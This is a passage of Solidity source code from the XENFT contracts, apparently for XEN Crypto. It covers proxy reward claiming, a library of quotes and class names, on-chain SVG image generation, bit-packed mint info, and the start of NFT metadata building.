abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n 